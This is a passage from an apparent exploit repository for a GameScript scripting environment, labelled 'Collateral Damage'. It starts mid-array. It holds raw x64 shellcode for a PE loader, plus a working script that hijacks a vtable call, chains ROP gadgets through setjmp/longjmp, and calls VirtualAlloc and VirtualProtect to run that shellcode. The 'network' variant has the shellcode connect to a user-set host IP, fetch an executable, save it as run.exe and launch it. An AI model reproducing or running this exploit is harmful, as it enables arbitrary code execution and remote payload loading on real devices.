0xC0, 0x45, 0x31, 0xE4, 0x4D, 0x39, 0xCC, 0xF, 0x84, 0x8E, 0x0, 0x0, 0x0, 0x49, 0x8D, 0x7C, 0x24, 0x1, 0x44, 0x89, 0xE6, 0x41, 0x8D, 0x1C, 0xB3, 0x8B, 0x1C, 0x19, 0x80, 0x3C, 0x19, 0x0, 0x49, 0x89, 0xFC, 0x74, 0xDF, 0x48, 0x1, 0xCB, 0x49, 0xC7, 0xC7, 0xFF, 0xFF, 0xFF, 0xFF, 0x45, 0x31, 0xE4, 0x4D, 0x89, 0xE6, 0x42, 0x80, 0x7C, 0x3B, 0x1, 0x0, 0x4D, 0x8D, 0x7F, 0x1, 0x4D, 0x8D, 0x64, 0x24, 0x1, 0x75, 0xEC, 0x49, 0xC7, 0xC5, 0xFF, 0xFF, 0xFF, 0xFF, 0x42, 0x80, 0x7C, 0x2A, 0x1, 0x0, 0x4D, 0x8D, 0x6D, 0x1, 0x75, 0xF4, 0x49, 0x89, 0xFC, 0x4D, 0x39, 0xFD, 0x75, 0xA3, 0x45, 0x31, 0xFF, 0x49, 0x83, 0xEE, 0x1, 0x72, 0x1A, 0x42, 0x8A, 0x2C, 0x3A, 0x4D, 0x8D, 0x67, 0x1, 0x42, 0x3A, 0x2C, 0x3B, 0x4D, 0x89, 0xE7, 0x74, 0xE9, 0x49, 0x89, 0xFC, 0xEB, 0x84, 0x31, 0xC0, 0xEB, 0x17, 0x41, 0x8D, 0x4, 0x72, 0xF, 0xB7, 0x4, 0x1, 0x25, 0xFF, 0x3F, 0x0, 0x0, 0x41, 0x8D, 0x4, 0x80, 0x8B, 0x4, 0x1, 0x48, 0x1, 0xC8, 0x5B, 0x5D, 0x5F, 0x5E, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0xC3, 0x1, 0x13, 0xA, 0x0, 0x13, 0x1, 0x21, 0x0, 0xC, 0x30, 0xB, 0x50, 0xA, 0x70, 0x9, 0x60, 0x8, 0xC0, 0x6, 0xD0, 0x4, 0xE0, 0x2, 0xF0, 0x1, 0xC, 0x8, 0x0, 0xC, 0x30, 0xB, 0x50, 0xA, 0x70, 0x9, 0x60, 0x8, 0xC0, 0x6, 0xD0, 0x4, 0xE0, 0x2, 0xF0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 12 | ] 13 | 14 | 15 | // hex printing helper functions 16 | let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'] 17 | let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF} 18 | 19 | fn hex_to_num(s) { 20 | var str_len = len(s) 21 | var res = 0 22 | for (var i = 0; i < str_len; i++) 23 | { 24 | res = res << 4 25 | res = res + c2i_map[s[i]] 26 | } 27 | return res 28 | } 29 | 30 | fn num_to_hex(num, byte_count) { 31 | if (byte_count > 8) { 32 | byte_count = 8 33 | } 34 | var res = "" 35 | for (var i = 0; i < byte_count * 2; i++) { 36 | var idx = (num >> (4 * i)) & 15 37 | res = i2c_map[idx] + res 38 | } 39 | return res 40 | } 41 | 42 | fn num_to_hex8(num) { 43 | return num_to_hex(num, 1) 44 | } 45 | 46 | fn num_to_hex16(num) { 47 | return num_to_hex(num, 2) 48 | } 49 | 50 | fn num_to_hex32(num) { 51 | return num_to_hex(num, 4) 52 | } 53 | 54 | fn num_to_hex64(num) { 55 | return num_to_hex(num, 8) 56 | } 57 | 58 | fn hex_dump(addr, count) { 59 | for (var i = 0; i < count; i++) { 60 | if (i > 0 && (i % 16) == 0) { 61 | printConsole("\n") 62 | } 63 | var cur_byte = pointerGetUnsignedInteger8Bit(0, addr + i) 64 | printConsole(num_to_hex8(cur_byte) + " ") 65 | } 66 | } 67 | 68 | fn array_fill(arr) { 69 | var arr_len = len(arr) 70 | for (var i = 0; i < arr_len; i++) { 71 | arr[i] = 0x41 72 | } 73 | } 74 | 75 | fn round_down(val, bound) { 76 | return floor(val - (val % bound)) 77 | } 78 | 79 | fn array_compare(a1, a2) { 80 | if (len(a1) != len(a2)) { 81 | return false 82 | } 83 | var arr_len = len(a1) 84 | 85 | for (var i = 0; i < arr_len; i++) { 86 | if (a1[i] != a2[i]) { 87 | return false 88 | } 89 | } 90 | 91 | return true 92 | } 93 | 94 | // shorthand helpers for memory access 95 | fn write8(addr, val) { 96 | pointerSetUnsignedInteger8Bit(0, addr, val) 97 | } 98 | 99 | fn read8(addr) { 100 | return pointerGetUnsignedInteger8Bit(0, addr) 101 | } 102 | 103 | fn write16(addr, val) { 104 | pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val) 105 | } 106 | 107 | fn read16(addr) { 108 | return pointerGetAtOffsetUnsignedInteger16Bit(0, addr) 109 | } 110 | 111 | fn write32(addr, val) { 112 | pointerSetAtOffsetUnsignedInteger(0, addr, val) 113 | } 114 | 115 | fn read32(addr) { 116 | return pointerGetAtOffsetUnsignedInteger(0, addr) 117 | } 118 | 119 | 120 | fn write64(addr, val) { 121 | pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val) 122 | } 123 | 124 | fn read64(addr) { 125 | return pointerGetAtOffsetUnsignedInteger64Bit(0, addr) 126 | } 127 | 128 | // helper to read a 64-bit val and automatically make it a hex str 129 | fn read64_hex(addr) { 130 | var val_low = read32(addr) 131 | var val_high = read32(addr+4) 132 | return num_to_hex32(val_high) + num_to_hex32(val_low) 133 | } 134 | 135 | fn read_buf(addr, buf) { 136 | var buf_len = len(buf) 137 | for (var i = 0; i < buf_len; i++) { 138 | buf[i] = read8(addr + i) 139 | } 140 | } 141 | 142 | fn write_buf(addr, buf) { 143 | var buf_len = len(buf) 144 | for (var i = 0; i < buf_len; i++) { 145 | write8(addr+i, buf[i]) 146 | } 147 | } 148 | 149 | fn find_bytes(addr, max_len, pattern, buf) { 150 | for (var i = 0; i < max_len; i++) { 151 | read_buf(addr + i, buf) 152 | if (array_compare(pattern, buf)) { 153 | return addr + i 154 | } 155 | } 156 | return 0 157 | } 158 | 159 | fn find64(addr, max_len, v) { 160 | var offset = 0 161 | while (1) { 162 | var temp_val = read64(addr+offset) 163 | if (temp_val == v) { 164 | return addr+offset 165 | } 166 | offset += 8 167 | } 168 | return 0 169 | } 170 | 171 | // shorthand funcs 172 | fn ptr_to_num(p) { 173 | return numberFromRaw64BitUnsignedInteger(p) 174 | } 175 | 176 | fn make_cstr(s) { 177 | var str_len = len(s) + 1 178 | var s_ptr = globalArrayNew8Bit(s, str_len) 179 | pointerSetString(s_ptr, 0, s) 180 | return ptr_to_num(s_ptr) 181 | } 182 | 183 | var gs_base = 0 184 | var ntdll_base = 0 185 | var kernelbase_base = 0 186 | var longjmp_ptr = 0 187 | var setjmp_ptr = 0 188 | var gadget_ptr = 0 189 | var gadget_rsp0x48_ptr = 0 190 | var gadget_pushrax_ptr = 0 191 | fn call_native(func_ptr, rcx, rdx, r8, r9) { 192 | // set this gadget here 193 | gadget_rsp0x48_ptr = gs_base + 0xE04B 194 | gadget_pushrax_ptr = gs_base + 0x1F13A 195 | var call_done = false 196 | 197 | // allocate 0x120 (space for vtable + setjmp data) 198 | var obj_ptr = globalArrayNew8Bit("call", 0x100) 199 | var objp = ptr_to_num(obj_ptr) 200 | var vt_ptr = globalArrayNew8Bit("vtable", 0x18) 201 | var vtp = ptr_to_num(vt_ptr) 202 | var stack_size = 0x4000 203 | var stack_ptr = globalArrayNew8Bit("stack", stack_size) 204 | var stackp = ptr_to_num(stack_ptr) 205 | var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100) 206 | var jcp = ptr_to_num(jmpctx_ptr) 207 | 208 | // set up vtable pointers 209 | write64(vtp+8, setjmp_ptr) 210 | write64(objp, vtp) 211 | 212 | // trigger vtable call 213 | slBus_destroy(obj_ptr) 214 | 215 | memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100) 216 | 217 | // set up our rop chain 218 | var r10 = 0 219 | var r11 = 0 220 | write64(stackp+stack_size-0xA0, rdx) 221 | write64(stackp+stack_size-0x98, rcx) 222 | write64(stackp+stack_size-0x90, r8) 223 | write64(stackp+stack_size-0x88, r9) 224 | write64(stackp+stack_size-0x80, r10) 225 | write64(stackp+stack_size-0x78, r11) 226 | write64(stackp+stack_size-0x70, func_ptr) 227 | write64(stackp+stack_size-0x68, gadget_pushrax_ptr) 228 | // 0x30 bytes of padding 229 | write64(stackp+stack_size-0x38, 0x15151515) 230 | write64(stackp+stack_size-0x30, gs_base+0x109C4A) 231 | write64(stackp+stack_size-0x28, jcp) 232 | write64(stackp+stack_size-0x20, longjmp_ptr); 233 | 234 | // set up the context to do the longjmp 235 | write64(vtp+8, longjmp_ptr) 236 | write64(objp, vtp) 237 | // rsp 238 | write64(objp+0x10, stackp+stack_size-0xA0) 239 | // rip 240 | write64(objp+0x50, gadget_ptr) 241 | 242 | // trigger vtable call 243 | slBus_destroy(obj_ptr) 244 | var ret_val = read64(stackp+stack_size-0x68) 245 | 246 | // clean up our objects 247 | globalArrayDelete("call") 248 | globalArrayDelete("vtable") 249 | globalArrayDelete("stack") 250 | globalArrayDelete("jctx") 251 | 252 | return ret_val 253 | } 254 | 255 | fn find_module_base(addr) { 256 | var search_addr = round_down(addr, 0x10000) 257 | 258 | while (1) { 259 | var magic_static = [0x4D, 0x5A] 260 | var magic_read = [0, 0] 261 | read_buf(search_addr, magic_read) 262 | 263 | if (array_compare(magic_static, magic_read)) { 264 | return search_addr 265 | } 266 | search_addr -= 0x10000 267 | } 268 | return 0 269 | } 270 | 271 | fn get_dll_exports(base_addr) { 272 | var res = {} 273 | var magic_static = [0x4D, 0x5A] 274 | var magic_read = [0, 0] 275 | read_buf(base_addr, magic_read) 276 | 277 | if (!array_compare(magic_static, magic_read)) { 278 | printConsole("Magic is invalid!\n") 279 | return res 280 | } 281 | 282 | 283 | var e_lfanew = read32(base_addr+0x3c) 284 | var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18) 285 | 286 | var num_funcs = read32(exports_addr+0x14) 287 | var num_names = read32(exports_addr+0x18) 288 | 289 | var funcs_addr = base_addr + read32(exports_addr+0x1c) 290 | var names_addr = base_addr + read32(exports_addr+0x20) 291 | var ords_addr = base_addr + read32(exports_addr+0x24) 292 | 293 | for (var i = 0; i < num_names; i++) { 294 | var name_addr = base_addr + read32(names_addr + (4 * i)) 295 | var name_str = pointerGetSubstring(0, name_addr, 0x20) 296 | var ordinal = read16(ords_addr + (2 * i)) 297 | var func_addr = base_addr + read32(funcs_addr + (4 * ordinal)) 298 | res[name_str] = func_addr 299 | //printConsole("Export: " + name_str + " - " + num_to_hex64(func_addr) + "\n") 300 | } 301 | 302 | return res 303 | } 304 | 305 | var VirtualAlloc_ptr = 0 306 | var VirtualProtect_ptr = 0 307 | fn map_code(code) { 308 | var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4) 309 | write_buf(code_addr, code) 310 | 311 | var oldp_ptr = globalArrayNew8Bit("oldp", 0x100) 312 | var oldpp = ptr_to_num(oldp_ptr) 313 | call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp) 314 | return code_addr 315 | } 316 | 317 | fn map_page(addr) { 318 | var code_addr = call_native(VirtualAlloc_ptr, addr, 0x100000, 0x3000, 4) 319 | return code_addr 320 | } 321 | 322 | 323 | // create and dump our object to the terminal 324 | var slbus_ptr = slBus_create() 325 | var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr) 326 | 327 | // get the base of the GameScript module via the vtable 328 | gs_base = read64(slp) - 0x16faf8 329 | 330 | ntdll_base = find_module_base(read64(gs_base + 0x125398)) 331 | kernelbase_base = find_module_base(read64(gs_base + 0x1253A0)) 332 | 333 | var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48] 334 | var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C] 335 | var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] 336 | 337 | setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes) 338 | longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes) 339 | 340 | // bytes for the following gadget: pop rdx;pop rcx;pop r8;pop r9;pop r10;pop r11; ret 341 | var gadget_bytes = [0x5A, 0x59, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, 0x5B, 0xC3] 342 | tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] 343 | gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes) 344 | 345 | 346 | // get the ntdll & kernel base exports and find VirtualAlloc/Protect 347 | var kernelbase_exports = get_dll_exports(kernelbase_base) 348 | var ntdll_exports = get_dll_exports(ntdll_base) 349 | VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"] 350 | VirtualProtect_ptr = kernelbase_exports["VirtualProtect"] 351 | var VirtualFree_ptr = kernelbase_exports["VirtualFree"] 352 | 353 | 354 | // allocate our token info buffer 355 | var tinfo_ptr = globalArrayNew8Bit("tinfo", 0x2000) 356 | var tinfop = ptr_to_num(tinfo_ptr) 357 | 358 | // write the ip to the global page 359 | var global_page = map_page(0x44000000) 360 | pointerSetString(0, global_page, host_ip) 361 | 362 | // map the pe loader 363 | var pe_loader_ptr = map_code(pe_loader_code) 364 | var pe_ret = call_native(pe_loader_ptr, 0, 0, 0, 0) 365 | -------------------------------------------------------------------------------- /solstice_artifacts/gamescript_autosave_network.txt: -------------------------------------------------------------------------------- 1 | // 2 | // Collateral Damage - @carrot_c4k3 & @landaire - exploits.forsale 3 | // 4 | 5 | // !!! PUT YOUR IP BELOW !!! 6 | // EX: var host_ip = "192.168.1.89" 7 | var host_ip = "[YOUR IP HERE]" 8 | 9 | // PE loader shellcode 10 | let pe_loader_code = [ 11 | 233,22,1,0,0,21,0,0,120,22,0,0,15,21,0,0,237,21,0,0,144,22,0,0,237,21,0,0,117,22,0,0,164,22,0,0,0,0,0,0,37,76,79,67,65,76,65,80,80,68,65,84,65,37,92,46,46,92,76,111,99,97,108,83,116,97,116,101,92,114,117,110,46,101,120,101,0,87,83,50,95,51,50,46,100,108,108,0,87,83,65,83,116,97,114,116,117,112,0,87,83,65,67,111,110,110,101,99,116,0,87,83,65,83,111,99,107,101,116,65,0,105,110,101,116,95,97,100,100,114,0,69,120,112,97,110,100,69,110,118,105,114,111,110,109,101,110,116,83,116,114,105,110,103,115,65,0,76,111,97,100,76,105,98,114,97,114,121,65,0,67,114,101,97,116,101,70,105,108,101,65,0,87,114,105,116,101,70,105,108,101,0,82,101,97,100,70,105,108,101,0,86,105,114,116,117,97,108,65,108,108,111,99,0,86,105,114,116,117,97,108,70,114,101,101,0,86,105,114,116,117,97,108,80,114,111,116,101,99,116,0,67,108,111,115,101,72,97,110,100,108,101,0,0,0,0,24,0,0,0,0,128,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,65,87,65,86,65,85,65,84,86,87,85,83,72,129,236,248,2,0,0,72,131,228,240,72,184,75,0,69,0,82,0,78,0,72,141,140,36,152,0,0,0,72,137,1,72,184,69,0,76,0,66,0,65,0,72,137,65,8,72,184,83,0,69,0,46,0,68,0,72,137,65,16,199,65,24,76,0,76,0,102,131,97,28,0,232,124,4,0,0,72,133,192,116,65,72,137,214,72,184,87,0,83,0,50,0,95,0,72,141,140,36,152,0,0,0,72,137,1,72,184,51,0,50,0,46,0,100,0,72,137,65,8,199,65,16,108,0,108,0,102,131,97,20,0,232,64,4,0,0,72,133,192,116,20,72,137,215,235,51,72,184,4,20,0,0,1,0,0,0,233,53,3,0,0,72,141,21,208,254,255,255,72,137,241,232,58,3,0,0,72,141,13,113,254,255,255,255,208,72,137,199,72,133,192,15,132,151,2,0,0,72,141,21,216,254,255,255,72,137,241,232,22,3,0,0,72,137,68,36,120,72,141,21,209,254,255,255,72,137,241,232,2,3,0,0,72,137,68,36,112,72,141,21,201,254,255,255,72,137,241,232,238,2,0,0,72,137,68,36,104,72,141,21,125,254,255,255,72,137,241,232,218,2,0,0,73,137,197,72,141,21,129,254,255,255,72,137,241,232,200,2,0,0,73,137,199,72,141,21,101,254,255,255,72,137,241,232,182,2,0,0,72,137,68,36,88,72,141,21,140,254,255,255,72,137,241,232,162,2,0,0,72,137,68,36,96,72,141,21,10,254,255,255,72,137,241,232,142,2,0,0,72,137,195,72,141,21,205,253,255,255,72,137,249,232,124,2,0,0,72,137,197,72,141,21,209,253,255,255,72,137,249,232,106,2,0,0,73,137,198,72,141,21,180,253,255,255,72,137,249,232,88,2,0,0,72,137,198,72,141,21,184,253,255,255,72,137,249,232,70,2,0,0,72,137,199,72,141,13,85,253,255,255,76,141,164,36,48,2,0,0,76,137,226,65,184,200,0,0,0,255,211,72,131,100,36,48,0,199,68,36,40,128,0,0,0,199,68,36,32,2,0,0,0,76,137,225,186,0,0,0,64,69,49,192,69,49,201,65,255,213,73,137,196,72,141,148,36,152,0,0,0,102,185,2,2,255,213,131,100,36,40,0,72,131,100,36,32,0,185,2,0,0,0,186,1,0,0,0,65,184,6,0,0,0,69,49,201,65,255,214,72,137,197,185,0,0,0,68,255,215,72,141,148,36,136,0,0,0,199,2,2,0,31,144,137,66,4,72,131,98,8,0,72,131,100,36,48,0,72,131,100,36,40,0,72,131,100,36,32,0,72,137,233,65,184,16,0,0,0,69,49,201,255,214,76,141,76,36,68,65,131,33,0,72,141,84,36,72,131,34,0,72,131,100,36,32,0,72,137,233,65,184,4,0,0,0,65,255,215,133,192,15,132,208,0,0,0,139,124,36,72,15,207,49,201,72,137,250,65,184,0,16,0,0,65,185,4,0,0,0,72,139,92,36,120,255,211,72,137,198,72,131,100,36,32,0,76,141,76,36,68,72,137,233,72,137,194,65,137,248,65,255,215,137,193,184,3,0,0,16,133,201,15,132,10,1,0,0,57,124,36,68,15,133,0,1,0,0,72,141,84,36,76,131,34,0,72,131,100,36,32,0,76,141,76,36,68,72,137,233,65,184,4,0,0,0,65,255,215,133,192,116,111,76,137,100,36,80,68,139,108,36,76,65,15,205,49,201,76,137,234,65,184,0,16,0,0,65,185,4,0,0,0,255,211,73,137,196,72,141,92,36,68,77,137,238,77,133,246,126,70,76,137,234,76,41,242,76,1,226,72,131,100,36,32,0,72,137,233,69,137,240,73,137,217,65,255,215,133,192,15,132,133,0,0,0,139,68,36,68,73,41,198,235,207,184,2,0,0,16,235,122,72,184,4,36,0,0,1,0,0,0,235,110,184,4,0,0,16,235,103,76,141,140,36,128,0,0,0,65,131,33,0,72,137,241,72,137,250,65,184,32,0,0,0,255,84,36,104,76,141,140,36,132,0,0,0,65,131,33,0,72,131,100,36,32,0,72,139,124,36,80,72,137,249,76,137,226,69,137,232,255,84,36,88,76,137,225,49,210,65,184,0,128,0,0,255,84,36,112,72,137,249,72,139,124,36,96,255,215,72,137,233,255,215,255,214,235,5,184,5,0,0,16,72,129,196,248,2,0,0,91,93,95,94,65,92,65,93,65,94,65,95,195,65,87,65,86,65,85,65,84,86,87,85,83,102,129,57,77,90,15,133,159,0,0,0,139,65,60,139,132,1,136,0,0,0,68,139,76,1,24,68,139,68,1,28,68,139,92,1,32,68,139,84,1,36,49,192,69,49,228,77,57,204,15,132,142,0,0,0,73,141,124,36,1,68,137,230,65,141,28,179,139,28,25,128,60,25,0,73,137,252,116,223,72,1,203,73,199,199,255,255,255,255,69,49,228,77,137,230,66,128,124,59,1,0,77,141,127,1,77,141,100,36,1,117,236,73,199,197,255,255,255,255,66,128,124,42,1,0,77,141,109,1,117,244,73,137,252,77,57,253,117,163,69,49,255,73,131,238,1,114,26,66,138,44,58,77,141,103,1,66,58,44,59,77,137,231,116,233,73,137,252,235,132,49,192,235,23,65,141,4,114,15,183,4,1,37,255,63,0,0,65,141,4,128,139,4,1,72,1,200,91,93,95,94,65,92,65,93,65,94,65,95,195,86,101,72,139,4,37,96,0,0,0,72,139,80,24,72,131,194,16,49,192,73,137,208,77,139,72,96,77,133,201,116,83,73,199,195,255,255,255,255,49,246,73,137,242,102,67,131,124,89,2,0,77,141,91,1,72,141,118,1,117,236,72,199,198,255,255,255,255,102,131,124,113,2,0,72,141,118,1,117,244,76,57,222,117,30,69,49,219,73,131,234,1,114,31,67,15,183,52,25,102,66,51,52,25,73,131,195,2,102,247,198,223,255,116,229,77,139,0,73,57,208,117,156,235,9,73,139,80,48,184,1,0,0,0,94,195,204,204,204,1,19,10,0,19,1,95,0,12,48,11,80,10,112,9,96,8,192,6,208,4,224,2,240,1,12,8,0,12,48,11,80,10,112,9,96,8,192,6,208,4,224,2,240,1,1,1,0,1,96,0,0 12 | ] 13 | 14 | 15 | // hex printing helper functions 16 | let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'] 17 | let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF} 18 | 19 | fn hex_to_num(s) { 20 | var str_len = len(s) 21 | var res = 0 22 | for (var i = 0; i < str_len; i++) 23 | { 24 | res = res << 4 25 | res = res + c2i_map[s[i]] 26 | } 27 | return res 28 | } 29 | 30 | fn num_to_hex(num, byte_count) { 31 | if (byte_count > 8) { 32 | byte_count = 8 33 | } 34 | var res = "" 35 | for (var i = 0; i < byte_count * 2; i++) { 36 | var idx = (num >> (4 * i)) & 15 37 | res = i2c_map[idx] + res 38 | } 39 | return res 40 | } 41 | 42 | fn num_to_hex8(num) { 43 | return num_to_hex(num, 1) 44 | } 45 | 46 | fn num_to_hex16(num) { 47 | return num_to_hex(num, 2) 48 | } 49 | 50 | fn num_to_hex32(num) { 51 | return num_to_hex(num, 4) 52 | } 53 | 54 | fn num_to_hex64(num) { 55 | return num_to_hex(num, 8) 56 | } 57 | 58 | fn hex_dump(addr, count) { 59 | for (var i = 0; i < count; i++) { 60 | if (i > 0 && (i % 16) == 0) { 61 | printConsole("\n") 62 | } 63 | var cur_byte = pointerGetUnsignedInteger8Bit(0, addr + i) 64 | printConsole(num_to_hex8(cur_byte) + " ") 65 | } 66 | } 67 | 68 | fn array_fill(arr) { 69 | var arr_len = len(arr) 70 | for (var i = 0; i < arr_len; i++) { 71 | arr[i] = 0x41 72 | } 73 | } 74 | 75 | fn round_down(val, bound) { 76 | return floor(val - (val % bound)) 77 | } 78 | 79 | fn array_compare(a1, a2) { 80 | if (len(a1) != len(a2)) { 81 | return false 82 | } 83 | var arr_len = len(a1) 84 | 85 | for (var i = 0; i < arr_len; i++) { 86 | if (a1[i] != a2[i]) { 87 | return false 88 | } 89 | } 90 | 91 | return true 92 | } 93 | 94 | // shorthand helpers for memory access 95 | fn write8(addr, val) { 96 | pointerSetUnsignedInteger8Bit(0, addr, val) 97 | } 98 | 99 | fn read8(addr) { 100 | return pointerGetUnsignedInteger8Bit(0, addr) 101 | } 102 | 103 | fn write16(addr, val) { 104 | pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val) 105 | } 106 | 107 | fn read16(addr) { 108 | return pointerGetAtOffsetUnsignedInteger16Bit(0, addr) 109 | } 110 | 111 | fn write32(addr, val) { 112 | pointerSetAtOffsetUnsignedInteger(0, addr, val) 113 | } 114 | 115 | fn read32(addr) { 116 | return pointerGetAtOffsetUnsignedInteger(0, addr) 117 | } 118 | 119 | 120 | fn write64(addr, val) { 121 | pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val) 122 | } 123 | 124 | fn read64(addr) { 125 | return pointerGetAtOffsetUnsignedInteger64Bit(0, addr) 126 | } 127 | 128 | // helper to read a 64-bit val and automatically make it a hex str 129 | fn read64_hex(addr) { 130 | var val_low = read32(addr) 131 | var val_high = read32(addr+4) 132 | return num_to_hex32(val_high) + num_to_hex32(val_low) 133 | } 134 | 135 | fn read_buf(addr, buf) { 136 | var buf_len = len(buf) 137 | for (var i = 0; i < buf_len; i++) { 138 | buf[i] = read8(addr + i) 139 | } 140 | } 141 | 142 | fn write_buf(addr, buf) { 143 | var buf_len = len(buf) 144 | for (var i = 0; i < buf_len; i++) { 145 | write8(addr+i, buf[i]) 146 | } 147 | } 148 | 149 | fn find_bytes(addr, max_len, pattern, buf) { 150 | for (var i = 0; i < max_len; i++) { 151 | read_buf(addr + i, buf) 152 | if (array_compare(pattern, buf)) { 153 | return addr + i 154 | } 155 | } 156 | return 0 157 | } 158 | 159 | fn find64(addr, max_len, v) { 160 | var offset = 0 161 | while (1) { 162 | var temp_val = read64(addr+offset) 163 | if (temp_val == v) { 164 | return addr+offset 165 | } 166 | offset += 8 167 | } 168 | return 0 169 | } 170 | 171 | // shorthand funcs 172 | fn ptr_to_num(p) { 173 | return numberFromRaw64BitUnsignedInteger(p) 174 | } 175 | 176 | fn make_cstr(s) { 177 | var str_len = len(s) + 1 178 | var s_ptr = globalArrayNew8Bit(s, str_len) 179 | pointerSetString(s_ptr, 0, s) 180 | return ptr_to_num(s_ptr) 181 | } 182 | 183 | var gs_base = 0 184 | var ntdll_base = 0 185 | var kernelbase_base = 0 186 | var longjmp_ptr = 0 187 | var setjmp_ptr = 0 188 | var gadget_ptr = 0 189 | var gadget_rsp0x48_ptr = 0 190 | var gadget_pushrax_ptr = 0 191 | fn call_native(func_ptr, rcx, rdx, r8, r9) { 192 | // set this gadget here 193 | gadget_rsp0x48_ptr = gs_base + 0xE04B 194 | gadget_pushrax_ptr = gs_base + 0x1F13A 195 | var call_done = false 196 | 197 | // allocate 0x120 (space for vtable + setjmp data) 198 | var obj_ptr = globalArrayNew8Bit("call", 0x100) 199 | var objp = ptr_to_num(obj_ptr) 200 | var vt_ptr = globalArrayNew8Bit("vtable", 0x18) 201 | var vtp = ptr_to_num(vt_ptr) 202 | var stack_size = 0x4000 203 | var stack_ptr = globalArrayNew8Bit("stack", stack_size) 204 | var stackp = ptr_to_num(stack_ptr) 205 | var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100) 206 | var jcp = ptr_to_num(jmpctx_ptr) 207 | 208 | // set up vtable pointers 209 | write64(vtp+8, setjmp_ptr) 210 | write64(objp, vtp) 211 | 212 | // trigger vtable call 213 | slBus_destroy(obj_ptr) 214 | 215 | memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100) 216 | 217 | // set up our rop chain 218 | var r10 = 0 219 | var r11 = 0 220 | write64(stackp+stack_size-0xA0, rdx) 221 | write64(stackp+stack_size-0x98, rcx) 222 | write64(stackp+stack_size-0x90, r8) 223 | write64(stackp+stack_size-0x88, r9) 224 | write64(stackp+stack_size-0x80, r10) 225 | write64(stackp+stack_size-0x78, r11) 226 | write64(stackp+stack_size-0x70, func_ptr) 227 | write64(stackp+stack_size-0x68, gadget_pushrax_ptr) 228 | // 0x30 bytes of padding 229 | write64(stackp+stack_size-0x38, 0x15151515) 230 | write64(stackp+stack_size-0x30, gs_base+0x109C4A) 231 | write64(stackp+stack_size-0x28, jcp) 232 | write64(stackp+stack_size-0x20, longjmp_ptr); 233 | 234 | // set up the context to do the longjmp 235 | write64(vtp+8, longjmp_ptr) 236 | write64(objp, vtp) 237 | // rsp 238 | write64(objp+0x10, stackp+stack_size-0xA0) 239 | // rip 240 | write64(objp+0x50, gadget_ptr) 241 | 242 | // trigger vtable call 243 | slBus_destroy(obj_ptr) 244 | var ret_val = read64(stackp+stack_size-0x68) 245 | 246 | // clean up our objects 247 | globalArrayDelete("call") 248 | globalArrayDelete("vtable") 249 | globalArrayDelete("stack") 250 | globalArrayDelete("jctx") 251 | 252 | return ret_val 253 | } 254 | 255 | fn find_module_base(addr) { 256 | var search_addr = round_down(addr, 0x10000) 257 | 258 | while (1) { 259 | var magic_static = [0x4D, 0x5A] 260 | var magic_read = [0, 0] 261 | read_buf(search_addr, magic_read) 262 | 263 | if (array_compare(magic_static, magic_read)) { 264 | return search_addr 265 | } 266 | search_addr -= 0x10000 267 | } 268 | return 0 269 | } 270 | 271 | fn get_dll_exports(base_addr) { 272 | var res = {} 273 | var magic_static = [0x4D, 0x5A] 274 | var magic_read = [0, 0] 275 | read_buf(base_addr, magic_read) 276 | 277 | if (!array_compare(magic_static, magic_read)) { 278 | printConsole("Magic is invalid!\n") 279 | return res 280 | } 281 | 282 | 283 | var e_lfanew = read32(base_addr+0x3c) 284 | var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18) 285 | 286 | var num_funcs = read32(exports_addr+0x14) 287 | var num_names = read32(exports_addr+0x18) 288 | 289 | var funcs_addr = base_addr + read32(exports_addr+0x1c) 290 | var names_addr = base_addr + read32(exports_addr+0x20) 291 | var ords_addr = base_addr + read32(exports_addr+0x24) 292 | 293 | for (var i = 0; i < num_names; i++) { 294 | var name_addr = base_addr + read32(names_addr + (4 * i)) 295 | var name_str = pointerGetSubstring(0, name_addr, 0x20) 296 | var ordinal = read16(ords_addr + (2 * i)) 297 | var func_addr = base_addr + read32(funcs_addr + (4 * ordinal)) 298 | res[name_str] = func_addr 299 | 